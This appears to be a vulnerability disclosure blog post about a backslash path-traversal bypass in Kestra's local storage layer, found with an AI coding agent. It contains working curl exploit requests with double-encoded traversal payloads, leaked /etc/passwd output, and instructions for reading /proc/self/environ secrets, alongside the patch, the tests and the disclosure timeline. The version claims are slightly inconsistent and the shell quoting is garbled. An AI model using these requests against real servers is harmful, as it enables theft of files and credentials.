Bypassing Kestra's path-traversal guard with a single backslash

I. Introduction
Kestra is an open-source event-driven workflow orchestration platform written in Java on top of Micronaut. It lets teams declare "flows" — task graphs that move data, call APIs, run scripts, react to webhooks, and schedule themselves — as YAML, and run them through a REST/Web UI control plane backed by a worker/executor tier. It ships an internal storage abstraction (local FS, S3, GCS, Azure), an embedded H2 option, a KV store, namespace files, multi-tenancy primitives, and the "run this Docker image and you're done" quickstart that almost every self-hosted install uses in production.
It is one of the most widely adopted data-orchestrator platforms in the JVM ecosystem (io.kestra:kestra on Maven Central, ~18k stars on GitHub), used as the data-pipeline and automation layer of a large number of production stacks: ETL/ELT, internal tooling, SaaS back ends, and event automation.
Vulnerable version: io.kestra:kestra <= 1.3.18 — every release through the latest tag at the time of writing (v1.3.20), including the actual latest GitHub release v1.3.17 (verified live), kestra/kestra:latest (= v1.3.16), the v1.3.18 tag, and develop prior to the merge.
Advisory: https://github.com/kestra-io/kestra/security/advisories/GHSA-qw4v-6w32-xx9h
CVE: CVE-2026-49984
Merged fix: kestra-io/kestra#16293 fix(storage): reject backslash path traversal in LocalStorage (GHSA-qw4v-6w32-xx9h) — merged into develop at commit b41d0ceeeb, co-authored credit to the reporter.
II. Target selection
I was working through Anthropic's plan to use AI for finding bugs in open-source projects. After scanning GitHub and Maven Central for high-traffic JVM infrastructure that runs everywhere, I landed on Kestra.
From a few basic pieces of information it looked like a promising target. It is an authentication-aware control plane: anything that reads a file, lists a directory, or moves data on behalf of a user crosses a real privilege boundary. It has a large file/storage surface, and the local internal-storage backend is the default in the official docker-compose.yml and the server local quickstart. And its published security advisory page already had a recent, accepted file/data-plane bug — a Critical SQL injection → RCE (GHSA-365w-2m69-mp9x), patched in v1.3.7.
A recently patched advisory is exactly when incomplete-fix and sibling bugs are richest: the maintainer wrote the patch under pressure, the test added with the patch only covers the path the maintainer thought to check, and any sibling surface the patch silently left alone is fair game. The SQLi fix touched the JDBC repository layer and never went near file storage, so I picked path-traversal / arbitrary-file-disclosure as the sub-class to hunt.
It was also more interesting than a typical web app because a bug in LocalStorage is a framework bug — every controller that reads, writes, or lists internal storage uses the same plumbing, so it affects every Kestra instance that hasn't explicitly switched to S3/GCS/Azure.
III. Finding
After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:
Claude Code (Claude CLI)
Model: Claude Opus 4.7
I pointed the model at the prior advisory (GHSA-365w-2m69-mp9x) and at the storage layer it never touched. The interesting shape in path code is always the same: the guard and the sink read the path in two different forms. If anything canonicalizes the path (percent-decoding, Windows→Unix conversion, Path.normalize) after the guard runs, the guard is validating a string that is not the string the filesystem will see. So I aimed the audit at that ordering.
I used the following prompt (I also used AI to generate this prompt based on the application's source code and the previous advisory's structure):
You are a senior offensive security researcher specialized in Java / Micronaut
applications, multi-tenant data planes, internal storage abstractions, and
validate-before-canonicalize / path-traversal bugs.
Your task is to audit this Kestra codebase.
IMPORTANT:
- Treat every prior advisory as a starting point for variant hunting. The
developer who fixed A on path P probably left A' open on a sibling path P'.
- A path guard is only sound if it validates the SAME string the sink uses.
Any canonicalization that happens AFTER the guard (percent-decode, Windows
-> Unix conversion, Path.normalize, toRealPath) is a candidate bypass.
- The local internal-storage backend is the default in the quickstart Docker
image. Treat it as the production target.
- bcrypt-style slowness is not your window here; string handling is. Focus on
which exact bytes reach the guard vs. the FileInputStream.
Your workflow:
1. Map every webserver controller that takes @QueryValue URI / @PathVariable
String path and reaches storageInterface.{get,put,delete,move,getAttributes}.
2. For each, find the guard (validateFile, parentTraversalGuard,
isParentTraversal, forbiddenPathsGuard, NamespaceFile.normalize) and write
down the EXACT string the guard sees vs. the EXACT string the sink uses.
3. Find any canonicalization that runs after the guard. windowsToUnixPath()
converts '\' to '/'. Does the guard run before or after it?
4. Build a Docker PoC that:
- Pins the AFFECTED version (kestra/kestra:latest and the latest release tag)
- Uses the documented quickstart configuration
- Demonstrates reading a file outside the storage base directory (/etc/passwd)
5. Decide whether a write/delete primitive is also reachable. Rule it in or out
honestly — do not overclaim.
Output format:
## Candidate N
- Vulnerability type
- Reachable surface
- Source
- Sink
- Vulnerable code (file:line)
- Why the guard fails (which form does it validate vs. use)
- Payload / exploitation primitive
- Reproducible PoC (Docker + control vs. exploit)
- Impact
- Confidence level
At the end:
- Rank findings by likelihood of being exploitable.
- Clearly separate the confirmed finding from suspicious code.
After that, the AI produced a result showing it had found the issue. The data flow it reconstructed was:
ExecutionController.downloadFileFromExecution(executionId, path)
-> validateFile(execution, path)
-> path.getPath().startsWith(prefix) // String prefix check only
-> storageInterface.get(tenantId, namespace, path)
-> LocalStorage.get -> getLocalPath -> getPath(uri, basePath):
parentTraversalGuard(uri); // (1) VALIDATE
return Paths.get(basePath, windowsToUnixPath(uri.getPath())); // (2) CANONICALIZE, then USE
The sink it identified, in storage-local/src/main/java/io/kestra/storage/local/LocalStorage.java:64-71 (and identical on the latest release):
protected Path getPath(URI uri, Path basePath) {
if (uri == null) {
return basePath;
}
parentTraversalGuard(uri); // (1) VALIDATE
return Paths.get(basePath.toString(), windowsToUnixPath(uri.getPath())); // (2) CANONICALIZE, then USE
}
with the guard, in core/src/main/java/io/kestra/core/utils/FileUtils.java:
public static boolean isParentTraversal(URI uri) {
if (uri == null) return false;
var path = uri.getPath();
// File.separator == "/" on Linux/containers
return path != null && (path.contains(".." + File.separator) // "../"
|| path.contains(File.separator + "..") // "/.."
|| path.equals(".."));
}
and the canonicalization that introduces the dangerous sequence, in core/src/main/java/io/kestra/core/utils/WindowsUtils.java:
unixPath = unixPath
.replace("\\", "/") // "..\.." becomes "../..", AFTER the guard ran
.replace(":", "");
The model's conclusion: the guard only recognises forward-slash traversal. It runs at step (1); the backslash→slash conversion runs at step (2), after the check. So ..\..\..\etc\passwd passes isParentTraversal() (no ../, no /.., not ..), is then rewritten by windowsToUnixPath() to ../../../etc/passwd, and is handed to Paths.get(basePath, …) and new FileInputStream(...). On the <= 1.3.17 line the same check is inlined in StorageInterface.parentTraversalGuard() on uri.toString() — same logic, same flaw.
The most important part of the analysis was the ordering reasoning. Kestra's own test suite (FileUtilsTest.isParentTraversal_true) already covered forward-slash and even percent-encoded %2E%2E payloads, so the guard looked well-tested. But a test that never feeds a backslash cannot detect a backslash bypass, even though the project explicitly runs the Windows→Unix conversion right after the guard — meaning backslashes are a first-class input the guard is supposed to handle. The single-character difference between / and \ is the whole vulnerability.
I then set up a Docker environment and continued to have the AI verify the bug end-to-end; it confirmed the bug on every release containing the affected code.
Here is the vulnerable request (the normal "download an execution output" API Kestra ships with):
POST /api/v1/main/flows -> create a one-task flow
POST /api/v1/main/executions/poc/pocflow -> run it, get a real storage prefix
GET /api/v1/main/executions/{id}/file?path=kestra://... -> download → SINK
backed by:
@Get(uri = "/{executionId}/file", produces = MediaType.APPLICATION_OCTET_STREAM)
public HttpResponse<StreamedFile> downloadFileFromExecution(
@PathVariable String executionId,
@QueryValue URI path) throws IOException, URISyntaxException {
this.validateFile(execution.get(), path, ...);
InputStream fileHandler = switch (path.getScheme()) {
case StorageContext.KESTRA_SCHEME ->
storageInterface.get(execution.get().getTenantId(), execution.get().getNamespace(), path); // SINK
...
};
return HttpResponse.ok(new StreamedFile(fileHandler, ...));
}
Two things had to line up to exploit it over real HTTP. First, validateFile's path.getPath().startsWith(prefix) gate — solved by keeping the genuine execution-storage prefix (which Kestra itself emits when a flow produces an output) at the front and appending the traversal with no / before the first ... Second, Micronaut's @QueryValue URI rejects a literal \ — solved by double-encoding: send %255C → the HTTP layer decodes once to %5C → URI.create() keeps %5C → URI.getPath() finally yields \.
After that, I continued to use AI to build the Docker PoC — a single self-contained script that stands up the official image, creates a flow that emits a file (so a real execution storage directory exists), fires a CONTROL request with /../ and an EXPLOIT request with %255C..:
PRE='kestra:///poc/pocflow/executions/<id>/tasks/makefile/<taskrun>' # real, allowed prefix
TRAV="\(PRE"; for _ in \)(seq 1 14); do TRAV="$TRAV%255C.."; done # \..\..(x14)
# CONTROL — forward-slash traversal (guard MUST block)
curl -s -u admin@kestra.io:Admin1234 \
"\(B/api/v1/main/executions/\)EID/file?path=$PRE/../../../../etc/passwd"
# EXPLOIT — backslash bypass (\..\.. via double-encoded %255C)
curl -s -u admin@kestra.io:Admin1234 \
"\(B/api/v1/main/executions/\)EID/file?path=${TRAV}%255Cetc%255Cpasswd"
Run against kestra/kestra:latest (= v1.3.16), default quickstart config:
[*] CONTROL - forward-slash ../ (guard MUST block this):
HTTP 422 (4xx = correctly blocked)
[*] EXPLOIT - backslash bypass (\..\.. via double-encoded %255C):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
==> RESULT: VULNERABLE — arbitrary file read confirmed on Kestra 1.3.16
also leaked process env -> KESTRA_CONFIGURATION=...password: Admin1234...
(control HTTP 422 = blocked ; exploit returned /etc/passwd = bypassed)
Re-confirmed verbatim against kestra/kestra:v1.3.17-no-plugins (the actual latest GitHub release):
==> RESULT: VULNERABLE — arbitrary file read confirmed on Kestra 1.3.17
The same primitive reads /proc/self/environ (which leaks KESTRA_CONFIGURATION — DB password, secret-backend tokens, encryption keys, the configured admin password — in cleartext, defeating Kestra's own redactedEnvVars control, since that only masks the Pebble {{ envs }} function and not raw filesystem reads), the embedded H2 database file (all flows, users, and stored secrets), and the internal storage of every other tenant and namespace. CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 7.7 High (8.6 if the instance runs without auth — the documented docker-compose.yml ships with basic-auth commented out). Write/RCE was tested and ruled out honestly: the namespace-upload path normalises backslashes via NamespaceFile.normalize → toLogicalPath before the guard, so the primitive is read-only — though reading the secrets database is already a full-compromise primitive in practice.
I submitted the bug shortly afterwards. Kestra accepted it; the advisory was issued as GHSA-qw4v-6w32-xx9h, and GitHub later assigned CVE-2026-49984 after CVE-rules compliance review (to be pushed to the CVE List and the GitHub Advisory Database when the GHSA is published).
IV. Fix
What I did differently here from a normal advisory submission was use Claude Code to also author the fix in the temporary private fork and carry it all the way to a merged upstream commit. GitHub exposes a POST /repos/{owner}/{repo}/security-advisories/{ghsa_id}/forks endpoint that spins up a private repo under the maintainer's org once a report is accepted; Claude drove it end to end:
gh api --method POST \
repos/kestra-io/kestra/security-advisories/GHSA-qw4v-6w32-xx9h/forks
# -> kestra-io/kestra-ghsa-qw4v-6w32-xx9h (private, default branch develop)
I cloned the fork, branched off develop, and had Claude design a patch around two principles the original guard violated: canonicalize before validating, not after, and don't trust a deny-list — add an allow-list too.
FileUtils.isParentTraversal — separator-agnostic, matches .. only as a path segment (so my..file.txt stays valid), with a String overload the URI overload delegates to. Because every storage backend ultimately routes through StorageInterface.parentTraversalGuard() → FileUtils.isParentTraversal(), this one change hardens S3/GCS/Azure/local at once:
public static boolean isParentTraversal(String path) {
if (path == null) {
return false;
}
String normalized = path.replace('\\', '/'); // unify separators FIRST
return normalized.equals("..")
|| normalized.startsWith("../")
|| normalized.endsWith("/..")
|| normalized.contains("/../");
}
LocalStorage.getPath — canonicalize before validating, then a containment check so a resolved path can never escape basePath even if a future guard regresses:
String relativePath = windowsToUnixPath(uri.getPath());
if (isParentTraversal(relativePath)) {
throw new IllegalArgumentException("File should be accessed with their full path and not using relative '..' path.");
}
Path resolved = Paths.get(basePath.toString(), relativePath).normalize();
if (!resolved.startsWith(basePath.normalize())) { // defense in depth
throw new IllegalArgumentException("File should be accessed with their full path and not using relative '..' path.");
}
return resolved;
Plus regression tests in FileUtilsTest (backslash, mixed-separator and percent-encoded payloads rejected; my..file.txt still allowed; null handled) and LocalStorageTest (shouldRejectBackslashParentTraversal / shouldRejectForwardSlashParentTraversal assert storageInterface.get() throws on traversal URIs).
A full Gradle build on Java 25 is heavy, so Claude verified the patched logic with a standalone Java reproduction of isParentTraversal + windowsToUnixPath + getPath against the exact PoC payloads. The matrix:
| Payload | Affected (v1.3.16 / v1.3.17) | Patched logic |
|---|---|---|
backslash exploit (%255C..) |
bypassed → /etc/passwd |
BLOCKED |
forward-slash exploit (%2F..) |
blocked (already) | BLOCKED |
| mixed separators | bypassed | BLOCKED |
plain ../ |
blocked (already) | BLOCKED |
legit file / dotfile / my..file.txt |
allowed | allowed (no over-blocking) |
All green. I pushed the branch to the private fork and opened a PR against develop on the fork:
gh pr create \
--repo kestra-io/kestra-ghsa-qw4v-6w32-xx9h \
--base develop \
--head fix/GHSA-qw4v-6w32-xx9h-path-traversal \
--title "fix(storage): reject backslash path traversal in LocalStorage (GHSA-qw4v-6w32-xx9h)" \
--body-file PR-BODY.md
The PR body led with the verification matrix and flagged two follow-ups: backport the same isParentTraversal hardening to the <= 1.3.17 release line (where the guard is inlined in StorageInterface.parentTraversalGuard() on uri.toString()), and tighten ExecutionController.validateFile()'s weak startsWith(prefix) check as defense in depth.
The maintainer took it from there. Roman Acevedo (@AcevedoR, Kestra core maintainer) opened the public PR kestra-io/kestra#16293, with the body starting "modified PR of @StarPlatinu" and the rest of my description verbatim. He made three small adjustments and nothing else:
| File | Maintainer's tweak |
|---|---|
LocalStorage.java |
a static import of isParentTraversal instead of my fully-qualified call |
LocalStorage.java |
containment check uses basePath.toAbsolutePath().normalize() instead of basePath.normalize() |
FileUtils.java |
extra Javadoc noting the String overload expects a percent-decoded path |
Same logic, same tests, +115 −9 across the same four files. Loïc Mathieu (@loicmathieu, Kestra core maintainer) approved, and AcevedoR merged into develop at commit b41d0ceeeb with Co-authored-by: @StarPlatinu in the trailer. The fix was then backported to the releases/v1.3.x branch. The advisory state moved from triage to draft, and the temporary private fork was deleted automatically — the standard end-of-collaboration cleanup once the upstream fix lands.
V. Timeline
- 2026-05-19: Audited
kestra-io/kestradevelopwith Claude Code (Opus 4.7); sink-first analysis surfaced the validate-before-canonicalize ordering inLocalStorage.getPath. - 2026-05-19: Confirmed the bug end-to-end via Docker against
kestra/kestra:latest(= v1.3.16) —/etc/passwddisclosed via the backslash bypass;/proc/self/environleaksKESTRA_CONFIGURATION. Write/RCE tested and ruled out. Submitted the report via the GitHub Security Advisory form;GHSA-qw4v-6w32-xx9hassigned, credited to @StarPlatinu. - 2026-05-20: Re-verified against
kestra/kestra:v1.3.17-no-plugins(the actual latest GitHub release) — identical bypass. - 2026-05-21: Created the temporary private fork via
POST /repos/kestra-io/kestra/security-advisories/GHSA-qw4v-6w32-xx9h/forks→kestra-io/kestra-ghsa-qw4v-6w32-xx9h. Pushed the fix branch (separator-agnosticisParentTraversal+ canonicalize-before-validate + containment check + regression tests) and opened a PR againstdevelopon the private fork. - 2026-05-27 11:39 UTC: Maintainer Roman Acevedo (@AcevedoR) opened the public PR kestra-io/kestra#16293, body opening "modified PR of @StarPlatinu"; three minor adjustments, same logic and tests.
- 2026-05-27 11:46 UTC: Maintainer Loïc Mathieu (@loicmathieu) approved.
- 2026-05-27 13:03 UTC: AcevedoR merged into
develop— commitb41d0ceeeb,Co-authored-by: @StarPlatinu. Fix backported toreleases/v1.3.x. Advisory state →draft; temporary private fork deleted. - 2026-06-11: GitHub issued CVE-2026-49984 for
GHSA-qw4v-6w32-xx9hafter CVE-rules compliance review. The CVE record will be pushed to the CVE List and the global GitHub Advisory Database once the advisory is published.
The whole pipeline — recon, sink-first audit on a roughly 1M-LOC Java codebase, Docker PoC across two release lines, advisory submission, the native temporary-private-fork API call, authoring the patch with regression tests, verification, the PR on the private fork, and the maintainer's pickup → approval → merge into develop with co-author credit — ran inside Claude Code on Opus 4.7. The model carried the work from "the guard validates a different string than the sink uses" to a co-authored merge commit on the maintainer's develop branch, without me leaving the terminal.



![[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fe7817cef-a8af-45ec-b931-4e08225edeb6.png&w=3840&q=75)
